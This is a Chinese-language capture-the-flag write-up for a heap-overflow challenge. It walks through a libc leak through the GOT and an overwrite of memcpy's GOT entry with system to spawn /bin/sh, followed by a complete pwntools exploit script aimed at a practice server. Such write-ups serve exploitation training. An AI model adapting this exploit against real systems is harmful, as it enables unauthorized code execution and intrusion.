先弄清楚流程:
- 先读入name然后根据大小建个堆块
- 建0x80的块用来管理:{4:score,4:name_len,8:ptr->name}
- 读入随机数跟name加密成a-z的字符,然后与输入相同则显示并加分
- 超score则可重写name,最长可写0xf8 明显溢出
思路:
- 随便写入A*26,然后从a猜到z肯定能成功
- 成功后写溢出,修改score=0,len=27,ptr=got.__libc_start_main在回显name时得到libc。因为后边要将got.memcpy表改为system所以这里选择它前边的libc_start_main
- 再玩一把成功后即可修改got表 libc改为/bin/sh,memcpy改为system,为防止memcpy的\0覆盖malloc再加上malloc后边有不用就不管了
- 再玩一把成功后会执行memcpy(name_ptr) 这时name_ptr指向/bin/sh得到shell
老外写东西不给完整的exp不过那样也挺好,这里贴上是怕我说的别人看不懂。
from pwn import *
binary = './pwn'
local = 0
if local == 1:
p = process(binary)
libc_elf = ELF("/home/shi/pwn/libc6_2.23/libc-2.23.so")
else:
p = remote('node4.buuoj.cn', 29200)
libc_elf = ELF('../libc6_2.23-0ubuntu10_amd64.so')
elf = ELF(binary)
context(arch = 'amd64', log_level='debug') #'critical'
def game():
for i in range(ord('a'), ord('z')+1):
line = p.recvline()
if b'name' in line:
break
p.sendline(bytes([i]))
p.sendlineafter(b"What's your name?\n", b'A'*0x26)
p.recvline()
'''
heap name 0x28
heap game score,len, ptr -> got[__libc_start_main]
'''
game()
payload = b'A'*0x20 + flat(0, 0x91, p32(0x20)+p32(27), elf.got['__libc_start_main'])
p.sendline(b'y')
sleep(0.2)
p.sendline(payload)
p.recvuntil(b"Highest player: ")
libc_base = u64(p.recv(6).ljust(8, b'\x00')) - libc_elf.sym['__libc_start_main']
system = libc_base + libc_elf.sym['system']
malloc = libc_base + libc_elf.sym['malloc']
print('libc:', hex(libc_base))
'''
got __libc_start_main, __gmon_start__, memcpy, malloc
/bin/sh\x00 0 system malloc
'''
p.sendlineafter(b"Continue? ", b'y')
game()
payload = flat(b'/bin/sh\x00', 0, system, malloc)
p.sendline(b'y')
sleep(0.2)
p.sendline(payload)
p.sendlineafter(b"Continue? ", b'y')
game()
p.sendline(b'y')
sleep(0.2)
p.sendline(b's')
p.sendline(b'cat /flag')
p.interactive()